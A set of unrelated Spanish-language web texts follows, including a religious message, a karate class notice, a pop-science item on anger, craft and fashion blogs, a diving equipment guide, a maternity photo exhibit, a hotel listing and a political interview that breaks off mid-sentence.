pureza.\nDel mismo modo los hijos encontrarán en Jesús, hijo de María y de José, compuestos con una admirable unidad, las dos tendencias que pueden atormentarlos: la necesidad de afirmarse como otra generación que tiene que abrir un nuevo capítulo en la historia, y el deseo de ampararse a la sombra de sus queridos padres en el amor y en la obediencia.\nSí, que la Sagrada Familia, la joya de la humanidad asociada, que refleja la vida de la Trinidad, donde el amor hace uno a Dios, esté hoy ante nosotros, que esté con todos nosotros (…) para el bien de la familia en el mundo, de la familia en la Iglesia y para la gloria de Dios.\nDe: Chiara Lubich – Mensaje al FamilyFest de 1981


Inicio / Más disciplinas se suman a las clases virtuales\nMás disciplinas se suman a las clases virtuales\nSe trata de las clases virtuales de Karate ITKF y JKA que iniciarán esta semana a cargo de los instructores municipales por medio de la plataforma ZOOM, según informaron desde la Dirección general de Deportes.\n* Para niños: lunes, miércoles y viernes, a partir de las 17:00. Los interesados deberán comunicarse con la instructora Florencia López - 1 Dan ITKF- , al celular 3765-050524.\n* Mientras que los jóvenes y adultos tendrán su turno los martes y jueves, desde las 17:00. Estas actividades estarán a cargo del instructor Franco Jaquet Brouchy - 2 Dan JKA-. Para participar, contactarse al celular 3764-871766.


Dile a tu novix que enojarse 30 min al día es bueno para la salud - Erizos\nDile a tu novix que enojarse 30 min al día es bueno para la salud\nEs común que al menos una vez al día nos sintamos molestos o de malas, sin embargo, se ve mal o es criticado por las personas que nos rodean, pero...\nBuffy 8 de abril de 2019 | 12:56 pm CST\nEs común que al menos una vez al día nos sintamos molestos o de malas, sin embargo, se ve mal o es criticado por las personas que nos rodean, pero (para todos ellos) tenemos una buena noticia: Enojarse media hora al día es bueno para tu salud.\nForever Alone: Estudio revela que los honestos y directos nos quedaremos solos\nAsí es, de acuerdo con la Universidad Autónoma de México (UNAM), enojarse 30 min al día es bueno para la salud y sobre todo para el cerebro.\nEl Dr. Eduardo Calixto, jefe del Departamento de Neurobiología del Instituto Nacional de psiquiatría, dijo que cuando una persona se enoja se produce un estímulo neuroquímico que estimula las ondas cerebrales.\nEl Dr. dijo que cuando una persona se enoja se acelera el ritmo cardiaco y la respiración, esto provoca que se active el sistema respiratorio y el cardiovascular. También, se produce más dopamina (hormona que estimula el cerebro) produciendo una excitación en las neuronas.\nPor lo tanto, el enojo provoca que se mantenga activo el cerebro y algunos órganos internos. Sin embargo, es importante aclarar que esa molestia no puede pasar de los 30 o, máximo, 40 minutos porque se podría provocar el efecto contrario y dañar nuestra salud.\nTristemente, cuando nos enojamos más de 40 minutos, nuestro cuerpo produce cortisol, la hormona del estrés, la cual provoca que subas de peso.\nTambién, si tienes problemas de presión arterial, enojarte provoca que tu presión suba aún más.\nPor lo tanto Erizos, enojarse esta bien, es normal y nadie te puede decir lo contrario pero recuerden no excederse de tiempo porque podría ser contraproducente.


·COLOREA LA BANQUETA·\nJuly 15, 2013 / Lore G\nAhora Santiago tiene más habilidad para dibujar, está padrísimo descubrir cómo va logrando trazos que antes no hacía. Disfruta mucho de dibujar en los pizarrones y contar historias.\nGis corte Diamante\nMe gusta esta idea de aprovechar los pavimentos como otra alternativa de superficie y muero de ganas por conseguir de estos gises con corte de diamante, ¡están increíbles! Parece que solo se consiguen en Target...\nChalk drawing photo 1\nChalk drawing photo 2\nSidewalk chalk gems\n...Quizá y un día descubran su habilidad de crear paisajes a lo Julian Beever :\nIlusión 3D - Julian Beever\nJuly 15, 2013 / Lore G/ Comment\nDIY / HAZLO TU MISMO, ARTE LÚDICO\nactividades, colorear, ideas\nMURO Y AGUA\nApril 05, 2013 / Lore G\nWATER WALL by Tinkerlab\nYa hace calorcito y se presta para jugar al aire libre. Este proyecto está súper fácil de hacer y entretendrá por horas a los pequeños.\nMateriales: Envases, cúter, taladro y tornillos\nCortar los envases con el cúter de modo que te quepa la mano y te permita atornillar. Marcar una X con el cúter donde irán los tornillos.\nAtornilla los envases ligeramente inclinados para que el agua corra con facilidad.\n¡A guardar envases para re-usar y jugar!\nApril 05, 2013 / Lore G/ Comment\nTEEPEES Y CASITAS DE CARTÓN\nMarch 11, 2013 / Lore G\nCASITA DE CARTÓN by TINY FOLK\nUltimamente Santiago disfruta muchísimo de inventarse refugios con lo que tenga a mano, ya sea con su cobija, almohadas o con los cojines de la sala.\nTEEPEE by LA FEE RAILLE\nInspirada en esto les hago una selección de casitas y teepees para que tomen ideas y armen algo divertido para usar en casa.\nTEATRO PARA TÍTERES - TINY FOLK\nRefugios, cuevas, guaridas... escoge el material, decora y ¡a jugar!\nTEEPEE by FREE PEOPLE\nMarch 11, 2013 / Lore G/ 2 Comments\nDIY / HAZLO TU MISMO, JUGUETES\nvive verde, ideas, actividades\nMarch 14, 2012 / Lore G\n¡Hola a todos! El tema de hoy está muy simpático, lo ha compartido mi maestra de francés en clase y seguro les resultará divertido e interesante.\n¿Alguna vez se han preguntado cómo se imitan las voces de los animales según el país de origen de la persona que los reproduce?\nInteractivo de VOCES DE ANIMALES EN DIFERENTES IDIOMAS via FL@33\nHoy se quitarán la duda y se darán cuenta de las diferencias entre las onomatopeyas de cada idioma. Da click a las imágenes para ir a la página interactiva donde se han reunido grabaciones de niños haciendo las "voces de animales" y también encontrarás sonidos de transportes. ¡Que se diviertan!\nMarch 14, 2012 / Lore G/ 2 Comments


PADI Scuba Equipment (es) | divekangaruperuen\nEl equipo de buceo te permite visitar el mundo bajo el agua haciendo posible que puedas respirar, ver y moverte de manera confortable mientras estás bajo la superficie. El equipo te ayuda a transformarte de un ser terrestre en uno acuático - aunque sea por un momento. La máscara te permite ver con claridad. Un regulador y una botella de buceo te dan el aire que necesitas. Las aletas te permiten nadar de manera eficiente y el traje húmedo te ayuda a mantener la temperatura. Ya seas un buceador principiante o experimentado que busca un nuevo equipo, encontrarás sugerencias y consejos en esta sección. Ten en cuenta que el ajuste, la comodidad y la adecuación son las consideraciones más importantes cuando eliges un equipo, pero no tienes por qué sacrificar la combinación de colores y el hecho de verte bien. Tu PADI dive shop local es un lugar magnífico para conseguir más información y ayuda para encontrar el mejor equipo autónomo para ti.\nEquipo de buceo tropical – para buceo en aguas claras y cálidas (24ºC/75ºF o más). En aguas claras y cálidas solo necesitas una protección a la exposición mínima y puedes elegir componentes de buceo ligeros e hidrodinámicos. Usa este equipo de buceo en aguas a 24ºC/75ºFo más. Aprende más sobre equipos de buceo: como elegir el equipo más adecuado para ti.\nEquipo de buceo para aguas templadas – Para bucear en aguas de temperatura moderada (inferiores a 24ºC/75ºF). Cuando estás equipado para climas templados tienes una versatilidad máxima, ya que puedes bucear en el trópico así como en aguas algo más frías. Usa este equipo de buceo en aguas con temperaturas entre 15-24ºC/60-75ºF. Aprende más sobre equipos de buceo: como elegir el equipo más adecuado para ti.\nEquipo de buceo para aguas frías – Para bucear en aguas de temperatura inferior a15ºC/60ºF. Los climas fríos normalmente ofrecen un buceo espectacular. Con un buen traje de protección y el equipo adecuado, puedes bucear en aguas frías de manera cómoda. Usa este equipo en aguas por debajo de los 15ºC/60ºF. Aprende más sobre equipos de buceo: como elegir el equipo más adecuado para ti.\nEquipo de buceo técnico – Usado por buceadores muy experimentados y altamente entrenados que visitan entornos que están más allá de los límites del buceo recreativo.\nEn los 70 y los 80, los buceadores llevaban relojes de buceo porque era el método estándar de controlar el tiempo de fondo mientras buceaban. More...\nPRDENADOR DE BUCEO\nPuedes monitorizar tus inmersiones utilizando tablas de buceo, un profundímetro y un reloj de buceo, pero la mayoría de los buceadores utilizan un ordenador de buceo – es más sencillo. More...\nSPG (MANOMETRO SUMERGIBLE)\nTu SPG te muestra cuánto aire te queda en la botella para que termines tu inmersión mucho antes de que te quede poco aire. More...\nSi piensas en ello, respirar bajo el agua es bastante extraordinario, y ello sucede debido al regulador. El regulador de buceo es un gran invento que te suministra aire de tu botella en la cantidad justa que necesitas para respirar. More...\nSYSTEMA DE LASTRE\nLa mayoría de la gente flota, lo que está muy bien si quieres quedarte en la superficie. Sin embargo, los buceadores buscan descender y necesitan un sistema de lastre para ayudarles a compensar esa tendencia a flotar. More...\nImagina bucear flotando de manera ingrávida bajo el agua, ojo a ojo con los peces. ¿Cómo es posible? Todo comienza con tu dispositivo de control de la flotabilidad (Chaleco). More...\nHay aletas para nadar, hacer snorkeling, buceo en apnea y surfing. More...\nUna máscara es una de las piezas de tu equipo de buceo más personales e importantes, porque te permite explorar con tus ojos. More...\nEl tubo es una pieza muy importante del equipo. Vive junto con tu máscara, pasa tiempo en tu boca y te permite respirar mientras miras hacia abajo, hasta que estás listo para sumergirte buceando. More...\nUn cuchillo de buceo es una herramienta general que los buceadores usan ocasionalmente para cortar líneas de pesca o golpear sus botellas y así llamar la atención de su compañero de buceo. More...\nTanto si estás buceando en tu sitio de buceo local como si tomas un avión y te diriges a los trópicos, una bolsa de equipo robusta te ayudará a organizar, proteger y transportar tu equipo de buceo. More...\nEs obvio que una linterna de buceo es necesaria para bucear de noche para ayudarte a navegar, ver tus instrumentos y observar la interesante vida acuática. More...\nEQUIPO FOTOGRAFIA SUBAQUATICA Y VIDEO\nCon el auge de las capacidades de la fotografía digital, ahora hay numerosas opciones para capturar imágenes bajo el agua. More...\nTRAJES HUMEDOS Y TRAJES SECAS\nSe llama protección a la exposición porque mientras buceas no solo estás expuesto a la capacidad de que el agua te enfríe sino también puedes arañarte, cortarte o pincharte. More...\nLas botellas de alta presión son relativamente pequeñas, aunque son recipientes muy sólidos que contienen grandes volúmenes de gas comprimido. More...\nEn el improbable caso en que estés en la superficie y necesites llamar la atención de alguien en la costa o en el barco, te alegrarás de tener un dispositivo de señalización de superficie. More...\nBANDERA Y FLOTADOR DE BUCEO\nUna bandera de buceo indica que hay buceadores cerca. En algunas zonas, es obligatorio por ley izar una bandera de buceo mientras se bucea, pero en general es una buena idea por razones de seguridad. More...\nUn accesorio se define como un objeto que puede ser añadido a algo más para hacerlo más útil, versátil o atractivo. More...\nLos Rebreathers reutilizan el gas exhalado reciclando la mayor parte y lo completan para tu siguiente respiración. More...\nBucear con una configuración sidemount simplemente significa que llevas las botellas a los lados en lugar de en la espalda. More...


Millie Bobby Brown es la nueva embajadora millennial de 'Pandora Me' - Bekia Moda\nMillie Bobby Brown es la nueva embajadora millennial de 'Pandora Me'\nLa actriz estadounidense se ha convertido en la imagen a nivel mundial de la marca de joyas danesa con charms inspirados en emoticonos de Whatsapp.\nPor Sara Fernández Medina | 03 Oct 2019\nLa multifacética Millie Bobby Brown es ahora una mujer de negocios. Tras finalizar la última temporada de 'Stranger Things', la actriz se ha sumado a infinidad de nuevos y excitantes proyectos, y algunos de ellos quedan de la pantalla. Si ya la vimos hace unos meses estrenando su propia firma de cosméticos de belleza 'Florence by Mills', ahora le toca el turno a Pandora. La famosa marca de pulseras con charms ha querido colaborar con Brown y recoger ese aura juvenil, artística y divertida en sus diseños. Sus fans enloquecen y la actriz no puede estar más contenta con el resultado.\nPandora Me convierte a Millie Bobby Brown en su embajadora más joven\nLa colección, inspirada en la infancia y adolescencia, se basa en un conjunto de mini charms que sirven para decorar pulseras, colgantes, pendientes, anillos o broches. Las formas son interminables y van desde caras sonrientes, cactus o arcoiris hasta lunas, notas musicales y abejorros. Son bañados en plata de primera ley de origen sostenible y recuerdan a los emoticonos de Whatsapp. ¿El resultado? Una colección muy noventera con piezas cargadas de significado. Para elegir el charm que mejor vaya con tu personalidad, sólo tienes que dejarte llevar por tus recuerdos y gustos. De esta manera, tendrás la pulsera Pandora que mejor te defina.\nBROWN SE HA INSPIRADO EN SU INFANCIA PARA ELEGIR SUS CHARMS DE PANDORA\nEsto mismo ha hecho Millie Bobbie Brown y su combinación de charms es de lo más cool. La actriz de 'Stranger Things' ha elegido, entre otros, un unicornio, una nota musical, un beso y un charm colgante que pone ''Girl Pride''. El primero le recuerda a su hermana, el segundo a su primer beso que fue durante un rodaje muy incómodo, la nota musical expresa la pasión que siente la joven Brown por la música. Y el colgante de 'Girl Pride' reivindica la importancia de la lucha por los derechos de la mujer. Aquí más que nunca las joyas de Pandora cobra un significado muy personal, que hacen alusión a los mejores años de vida durante la infancia y adolescencia.\nLa colección ha sido todo un éxito y sus fans están impacientes por tenerlo en sus manos. Desde luego, Brown convierte en oro todo lo que toca. Y si no echen un vistazo a su firma de belleza 'Florence', que ofrece maquillaje y productos de limpieza facial veganos libres de parabenos y sulfatos. Los labiales estan enriquecidos con vitaminas y las mascarillas son para todo tipo de pieles. Aunque la colección de 'Pandora X Millie Bobbie Brown' todavia no ha salido a la venta, 'Florence' se puede encontrar vía web y tiendas oficiales.


Jewelry and Fashion FUSION!!!: 2010\n¿Quieres conocer cómo serán las nuevas tiendas de ropa del futuro?\nDe esta manera terminarán las cansadas colas en los probadores durantes las rebajas, y lo más importante, podremos no será necesario sólo seleccionar tres prendas!!!!!\nVerdad qué es increíble???? Me parece una idea estupenda!!!!! A cuándo lo implantan :-)\nEtiquetas: Future Shopping\nQué Me Pongo By MANGO!!!!\n¿No sabes qué ropa ponerte? ¿Ni tampoco cómo poder combinar tus prendas?\nMango pone solución y nos muestra una práctica y cómoda herramienta para saber combinar nuestras prendas!!! Se llama "Qué me Pongo By Mango" y consiste en un personal shopper virtual y nos va a ayudar a elegir que es lo que mejor nos sienta en función de nuestra estatura y talla, y además nos muestra las últimas tendencias.\nCon esta nueva herramienta personalizada no podremos salir de casa sin la mejor combinación para nuestro estilo!!!!!\nPublicado por J-emma en 10:14 0 comentarios\n¿Te gustaría leer algo nuevo y divertido? ¿Qué te muestre la moda y sus secretos?\nPues aquí os muestro dos nuevos libros que cumplen los requisitos:\nEstos libros están dedicados para todas aquellas personas que les gusta documentarse y tener otro punto de vista sobre las prendas más necesarias en nuestro fondo de armario. Unos libros entretenidos y divertidos que nos llenan de entretenimiento a la vez que aprendemos curiosidades y sorprendentes anécdotas!!!\nEspero que os gusten!!!!!!!!!!!!!!!!!\nPublicado por J-emma en 9:34 0 comentarios\nEtiquetas: Fashion, Glam\nCocina-Hoy preparamos tiramisú!!!!\nEl tiramisú es un postre exquisito!!! Para quien no lo conozca, qué lo dudo, es un postre italiando frío, cuyo ingrediente más identificativo es el café, y el queso mascarpone. Pero a mí que me gusta mucho adaptar las recetas a mi gusto, he probado otras nuevas combinaciones, así que pasaré a detallaros la receta:\n- Queso mascarpone (a mí personalmente me gusta también con queso fresco).\n- 3 Cucharadas grandes de azúcar.\n- 1 Tetrabrick de nata para montar (tiene que ser marca Asturiana o Carrefuor, el resto de marcas con estos ingredientes no monta la nata.)\n- 1 Paquete de soletillas.\n- Café (también se puede elaborar adaptándola a niños empleando en su lugar Cola-Cao, os aseguró que está igual de bueno)!!!!\nPara mostraros este sabroso postre esta tarde me he puesto con las manos en la masa, y aquí está:\nPrimero hacemos el relleno: Ponemos en el recipiente de la batidora el huevo, las tres cucharadas de azúcar, el queso y la nata. Batimos todo hasta que esté montada la crema.\nDejamos reposar y mientras colocamos en un plato hondo café con una cucharada de azúcar, y procedemos a mojar las soletillas por ambos lados, y las vamos colocando en una fuente.\nCuando tengamos la primera capa de soletillas colocadas procedemos a extender la mitad de la crema (reservamos la otra mitad para la segunda capa).\nUna vez que hemos extendido la mitad de la crema uniformemente, volvemos a repetir el paso de las soletillas y una vez colocada la segunda capa, extendemos la crema que habíamos reservado.\nPara terminar, rallamos chocolate fondant (podría ser del tipo "especial postres") y se lo colocamos también uniformemente por encima.\nTRUCOS: Si sois muy dulces, podeis poner un chorrito de leche condensada en la mezcla con el café. Ese toque es muy especial!!!\nTambién se le puede poner un poquito de licor para aromatizarlo.\nOs recomiendo este postre que se elabora en 10 minutos y muy fácil, al no tener que montar las claras, que puede llegar a ser un poco costoso.\nBueno, pues ahora no teneis excusa para no daros un pequeño placer!!!\nEspero que lo probeis y me conteis qué os ha parecido, y sobre todo si teneis nuevas combinaciones o nuevos trucos!!!\nPublicado por J-emma en 15:50 2 comentarios\nBelleza--Lolita Lempicka y su delicada elegancia!!\nYa llegó el veranooo!!! La llegada de la nueva estación, nos trasmite nuevas emociones y sensaciones, el entorno se nos llena de olores llenos de color y la calidez del ambiente nos transmite una sensación de relax y de búsqueda de nuestro interior. Por eso, hoy voy ha hablaros una colonia que transmite esta sensación, y es la gama de perfumes de Lolita Lempicka:\nNo sé si conoces estos perfumes, pero si tuviera que identificarlos, diría de ellos que son elegantes, soñadoras, y con una armonía muy delicada, unas fragancias que identifican muy bien la gran elegancia francesa, tan sólo hay que visitar su página web para descubrirlo:\nPero os contaré un poco más de su diseñadora, se llama Josian Pidival y es conocida por todos como Lolita Lempicka. Esta especializada en el diseño de ropa vintage, tuvo un exitoso paso por la maison Cacharel donde se encargaba de la línea femenina. A mediados de los ’80 y con la ayuda de su marido, Joseph, Lolita decidió crear su propia firma. Con ella hizo furor y fue señalada como la abanderada del revival del diseño francés. Hoy, a 25 años lleva las riendas de su propio imperio: sus fragancias y diseños la han posicionado como referente del diseño galo a nivel internacional. Os voy a poner dos de sus citas:\n"La moda, esa palabra que tanto me hacía soñar…desde muy joven, mi deseo secreto era hacer de la moda el objetivo de mi vida".\n"Cada mujer lleva en ella los sueños de la niña, sueños que dan alas a sus deseos, convirtiéndola en la heroína de su propia leyenda".\nY no sólo eso, sino que además ha creado una marca de productos gourmet estupenda!!!! También hay galletas y bolsitas de té!!!! Creo que tendré que probarlas para en una futura entrada contaros su delicioso sabor!!!! Hasta entonces os pongo unas fotos:\nY éstas son las dulces y exquisitas cajas de galletas y bolsitas de té:\nOs dejo la página web de estas delicadas delicias:\nSi alguien cae en la tentación de probar tanto sus perfumes como sus productos gourment por favor, no dudéis en contarnoslo!!!!!\nP.D. Os hago un adelanto de que mi próximo set estará inspirado en esta maravillosa diseñadora.\nPublicado por J-emma en 10:57 0 comentarios\n1º Set de Moda: Fotografía!!!\nComo nos hemos ido de viaje, qué mejor amigo de turismo que una cámara de fotos para inmortalizar todos esos momentos inolvidables que pasan a través de nuestra retina y permanecen retenidos en algún lugar de nuestra memoria!!!!\nEspero que os guste este primer set de moda!!!!\nSi estáis interesados en conocer diseñadores, marcas, o dónde poder comprar algún elemento de mis sets, no dudéis en poneros en contacto conmigo y os informaré de todo!!\nY aquí van mis diseños para este primer set:\nPrimero he realizado este colgante muy apropiado para la ocasión!!!\nEn segundo lugar, unos pendientes muy elegantes que nos transmiten la fuerza de una ciudad llena de luz!!\nUn dulce anillo lleno de brillos a la altura de sus emblemáticos edificios!!!\nY para finalizar esta pulsera a la luz de la luna mientras disfrutamos de un neoyorkino cóctel!!\nSí, soy una enamorada de Nueva York!!\nPublicado por J-emma en 0:50 0 comentarios\nEtiquetas: Beads, Fashion, New York, Polymer Clay\nEsta primera entrada va dedicada a una ciudad que me encanta: Nueva York!!!!\nEs una ciudad cosmopolita, moderna, versátil, fuente de inspiración inagotable!!! Siempre que veo una fotografía de Nueva York me impresiona su belleza. No he viajado nunca a Nueva York pero me gustaría hacerlo, y ver sus emblemáticos lugares como el Empire State, el puente de Brooklyn, la Estatua de la Libertad y cómo no pasear por la 5º Avenida como Audrey en "Desayuno con Diamantes". Y también ha sido Nueva York escenario de la música, la excelente Alicia Keys le dedica la banda sonora de la película "Sexo en Nueva York 2":\nEs fantástica!!!! Creo que transmite todo el sentimiento que le aporta la ciudad de los rascacielos!!! Pero no hablaré hoy de "Sexo en Nueva York" me lo reservo para otra entrada!!!!\nPublicado por J-emma en 13:25 3 comentarios\nBelleza--Lolita Lempicka y su delicada elegancia!!...


Diez Pasos - Maternidad Ramón Sardá | Defamilyas\nAlgunos de los principales cambios implementados son la internación conjunta madre-hijo, el ingreso irrestricto de padres de prematuros a la Unidad de Cuidados Intensivos, la incorporación de visitas de abuelos y hermanos (con intervenciones de psicólogos que facilitan que hermanos y abuelos puedan más allá de toda circunstancia formar el vinculo con un bebe prematuro). En la Sardá también residen las madres que por alguna razón no pueden volver a su lugar de origen diariamente y desean estar y asistir a su bebe recién nacido prematuro (este logro diferencial conocido como la Residencia de Madres se sustenta gracias a las Damas Rosadas de San Isidro). No es extraño en la Sardá ver a un recién nacido sobre el pecho de su mamá o de su papá, ya que está comprobado que estimular el contacto piel a piel padres-bebés mejora notablemente las condiciones del niño. La maternidad brinda un apoyo total a la lactancia materna como base de la estructura inmunológica de los niños.\nEstos cambios que tienen mucho de contacto humano e inclusión de la familia han tenido resultados tan positivos en la salud de los recién nacidos y su entorno que el modelo se replica en 10 maternidades más de Argentina. También ha llamado la atención y el interés de organismos de salud internacionales como OMS o Unicef con interés en continuar replicando estas prácticas en todo el mundo.\nLa Directora Médica de Sardá la Dra. Elsa Andina y el Director de Neonatología el Dr. Miguel Larguía aprobaron este proyecto fotográfico y nos permitieron ingresar y tomar imágenes de todo este proceso que salva vidas diariamente.\nVoluntarias, médicos, técnicos, enfermeros, personal de seguridad y maestranza brindaron su apoyo para mostrar esta gran obra creada y desarrollada por argentinos.\nFotografía Solidaria es un grupo de fotógrafos coordinado por Carola Pradás y Martín Murcia que tiene como iniciativa social documentar y difundir a través de la fotografía este tipo de obras que realizan en forma silenciosa muchas personas en el país. Difundiéndola se desea concientizar, dar un mensaje positivo a los más jóvenes y generar participación o colaboración entre quienes les interese.\nMuchas veces la fotografía muestra fotos de alto impacto de pobreza, guerra, hambre; y todo queda en esa foto o con un premio al fotógrafo. El concepto de Fotografía Solidaria es ir más allá, involucrar al fotógrafo y brindar soluciones concretas.\nNuestro deseo más allá de documentar y difundir es involucrar a las personas que sientan que cada bebé que nace merece todas las oportunidades más allá de su origen o condición, para que colaboren y participen activamente.\nPara colaborar con esta obra: Servicio de Voluntarias para Hospitales Damas Rosadas Maternidad Sardá. Adriana Saluzzy 15-4083-9835. Gabriela Gastaldi 15-5752-9007\n- UADE Art: Independencia y Lima\n- Lunes a Viernes de 10:00 a 19:00\n- Entrada Libre y Gratuita. Sólo presentar DNI o Cédula en el ingreso.\n- Del 6 de Octubre al 4 de Noviembre de 2011\nSi querés recibir más información sobre Defamilyas, por favor registrate acá.\nParto Larguía parto normal Post parto piel MATERNIDAD SARDA padre pasaporte piel de bebé lactancia materna Maternidad lactancia piel a piel mujer Laguía prematuro Miguel Larguía pediatra madre mamá pérdida postparto


Hoteles cerca Monumento conmemorativo ACTe, Pointe-à-Pitre, Guadalupe - Hoteles.com\nHoteles cerca de Monumento conmemorativo ACTe\nHoteles en Monumento conmemorativo ACTe - Pointe-à-Pitre\nMás información sobre Monumento conmemorativo ACTe\n¿Dónde queda Monumento conmemorativo ACTe?\nMonumento conmemorativo ACTe se encuentra en Pointe-à-Pitre. En esta ciudad ideal para quienes tienen un presupuesto ajustado, podrás su puerto. Si quieres acercarte a los puntos de interés de la zona, incluye en tu itinerario a Puerto de Pointe-à-Pitre y Plage Caravelle (playa).\n¿Dónde hospedarse cerca de Monumento conmemorativo ACTe?\nTe ofrecemos 596 hoteles que puedes seleccionar a menos de diez kilómetros de Monumento conmemorativo ACTe. Quizás quieras considerar una de estas opciones, que son las favoritas de nuestros clientes:\nLa Creole Beach Hôtel & Spa - a 3,9 km\nHotel Village Soleil - a 1,5 km\nSaint John Perse - a 0,5 km\nAtracciones cerca de Monumento conmemorativo ACTe\nAtracciones para visitar cerca de Monumento conmemorativo ACTe\nOtros puntos de interés cerca de Monumento conmemorativo ACTe\nCómo llegar a Monumento conmemorativo ACTe


Josep Piqué: "España, sin Europa, estaría en quiebra como Venezuela"\nEl exministro de Exteriores e Industria analiza la actualidad nacional e internacional en conversación con El Confidencial: "Sin el BCE, España estaría en quiebra, como Venezuela"\n10/04/2021 - 15:59 Actualizado: 11/04/2021 - 11:58\nViene Josep Piqué de superar un serio achaque de salud, que nada tiene que ver con el coronavirus pero que subraya la angustia de este tiempo pasado. “Lo he pasado muy mal”, dice Piqué y se percibe al momento que la afirmación le sale de lo más hondo. "Pero ya he recuperado el vigor intelectual, con lo que estoy trabajando al cien por cien, y físicamente, aunque es un proceso lento, he empezado a recuperar peso y las fuerzas que había perdido. Al fin, estoy tranquilo porque ya solo es cuestión de paciencia y de seguir un régimen nutricional". Josep Piqué Camps (Vilanova i la Geltrú, 1955) es una de las figuras más reconocibles de la política española a pesar de que su actividad pública (ministro de Exteriores e Industria en la época de Aznar) es mucho menos relevante que sus otras dos facetas, como empresario y economista. También como pensador. En 2018, mas o menos por estas fechas, publicó un libro, titulado ‘El mundo que nos viene’, que al contemplarlo ahora produce una especie de escalofrío por lo vulnerables que somos y cómo llegamos a olvidarlo: ¡Quién iba a imaginar que ‘el mundo que se venía’ encima era el de una pandemia como esta!\nRESPUESTA. Sí, no es lo mismo para Occidente que para África o los países del Este, que sí padecen pandemias; pero en nuestro caso, es verdad, que no sufríamos algo así desde la mal llamada 'gripe española' de hace un siglo. Pensábamos que estos problemas ya no iban con nosotros y ahora hemos visto que, a pesar de disponer de unos buenos sistemas públicos de salud, un virus puede provocar un colapso, con lo que debemos repensar algunas de las cosas que dábamos por sabidas o que ignorábamos. Pero, en el sentido de lo que usted decía, fíjese que muchos de los grandes fenómenos que hemos padecido en las últimas décadas nos han cogido siempre por sorpresa. La caída del Muro de Berlín en 1989, por ejemplo, y la rapidez de la desintegración de la Unión Soviética, o el colapso financiero de 2008, que también fue inesperado a pesar de los síntomas de ‘burbujas’ que existían: no supimos anticipar la profundidad que tendría esa crisis. Incluso podríamos añadirle la Primavera Árabe… En definitiva, que tenemos que aprender a ser modestos.\n"De la pandemia, o salimos todos o no salimos; no hay salidas individuales"\nR. Tras la Segunda Guerra Mundial, se diseñó una arquitectura internacional muy apropiada y exitosa. A raíz de los acuerdos de Bretton Woods, y de otras iniciativas políticas, se crearon las Naciones Unidas, el Fondo Monetario Internacional, el Banco Mundial… y se desarrollaron mecanismos generales de coordinación, como el originario Acuerdo General sobre Aranceles Aduaneros y Comercio, el GATT. En todo eso, es necesario dar ahora un salto cualitativo. Probablemente, no tengamos que repensarlo todo, pero esa arquitectura internacional necesita una mejora profunda porque se ha vuelto insuficiente. La Organización Mundial de la Salud, por ejemplo, es un buen instrumento, pero no tal y como está, lastrada por la burocratización y la politización. Si hay voluntad, eso se puede corregir. Ocurre igual con Naciones Unidas, porque carece completamente de sentido que se mantenga el anacronismo de miembros permanentes con derecho de veto que se identifican con las potencias vencedoras de la Segunda Guerra mundial. Esa reforma es muy necesaria y hay que insistir, incluso reforzando otros mecanismos de colaboración multilateral. Claro que ya sabemos que los países que tienen ese privilegio no van a querer renunciar y que, por tanto, existe la duda de que haya voluntad política para avanzar en el sentido que el mundo necesita.\nP. Fíjese que podemos extender la duda incluso más allá, no solo voluntad: ¿existe capacidad política? ¿Existen líderes mundiales a la altura de los problemas que tenemos?\nR. Es posible que todas las generaciones hayan tenido esa misma inquietud… Lo que marca estos tiempos es la pugna por la hegemonía entre Estados Unidos y China. Eso lo condiciona todo porque China es la potencia que está decidida a tomar ese liderazgo en este siglo, con su forma de entender la globalización.\nP. Si a Lenin le dijeran que una potencia comunista se iba a convertir en el referente del capitalismo más salvaje, se vuelve a la tumba…\nR. Je, je, je… Pues no crea, yo pienso que Lenin estaría muy contento porque su idea de poder político y control de la sociedad está presente en los actuales dirigentes chinos. La China comunista se sustenta en un modelo de partido único, con ausencia de libertades básicas, y una economía de mercado, no de libre mercado, condicionada por el sector público. En China el marxismo tiene poca presencia, pero el leninismo está muy vivo.\nP. El 'pivote estratégico' del mundo, como lo llama usted, ha girado hacia el Este. Podemos imaginarnos un mundo en el que China sea la gran potencia económica; India, la gran fábrica del planeta; y EEUU, el centro de la inteligencia y los avances tecnológicos. ¿Y Europa? ¿Dónde se queda y qué papel tiene?\nR. En ese mundo, Estados Unidos necesita aliados para contener el expansionismo de China, cada vez más agresivo. Es, en suma, el viejo adagio, "si quieres ir rápido, vete solo; pero si quieres llegar lejos, ve acompañado". En todo caso, además de contar con Estados Unidos, es evidente que el debate europeo debe analizar su papel en el nuevo escenario mundial. Europa solo será un sujeto político relevante si profundiza en su integración y es percibida desde fuera como un solo interlocutor. Cada país europeo por separado sería perfectamente irrelevante, incluido el más poderoso, Alemania. ¿Y cuál puede ser su papel? Europa puede ser un referente en términos regulatorios, por ejemplo. O en la digitalización de la vida cotidiana y empresarial. En fin, que, aunque tengamos serios problemas y aunque todos los días detectemos deficiencias, yo no soy pesimista en absoluto sobre el futuro de Europa. Entre otras cosas porque se piensa en la situación de algunos países, como España, sin la red europea, y se acaba el debate. Tras una pandemia como esta, si tuviésemos que acudir a los mercados por nuestra cuenta, sin el respaldo del Banco Central Europeo, España estaría en situación de 'default', en quiebra, como otros países que todos tenemos en la cabeza, como Venezuela.\nP. Eso parece indudable, pero ¿no cree que el proyecto europeo se ha quedado a medio construir, que no avanza? Y eso se percibe especialmente en las grandes crisis. Por ejemplo, esto de ahora con las vacunas…\nR. Que el plan de vacunación no funcione, o funcione mal, no debe llevarnos a pensar que Europa es un desastre. Porque, al final, funcionará y será mucho mejor que si cada país lo hubiera resuelto por su cuenta. La Unión Europea ha podido pecar de una cierta ingenuidad respecto a los compromisos con AstraZeneca, pero ya verá como todo se va resolviendo con rapidez y a finales del verano habrá inmunidad de rebaño. Prefiero el coste de haber gestionado las vacunas de una forma centralizada al coste de que cada uno se hubiera metido en una competición por ver quién conseguía más vacunas y ponía más dinero encima de la mesa. En todo caso, comparto que Europa es un proyecto a medio construir, aunque tenemos que mirar las cosas con una cierta perspectiva histórica. Europa se suicidó dos veces en el sigo XX y la realidad, un siglo después, es radicalmente distinta. Desde aquel tratado del acero y del carbón de los años 50, Europa se ha ido construyendo todos los días. Del Mercado Común pasamos a la Comunidad Económica Europea, y luego a la Unión Europea, ya sin adjetivos, con lo que se subraya que no es solo un proyecto económico sino también político. Repito: ¿Europa está a medio construir? Pues sí, pero eso se va resolviendo a diario, a medida que se afrontan problemas tan severos como los vividos. Además, no comparto que siempre se haya actuado mal, acuérdese de la crisis del euro y cómo se resolvió con una sola frase del 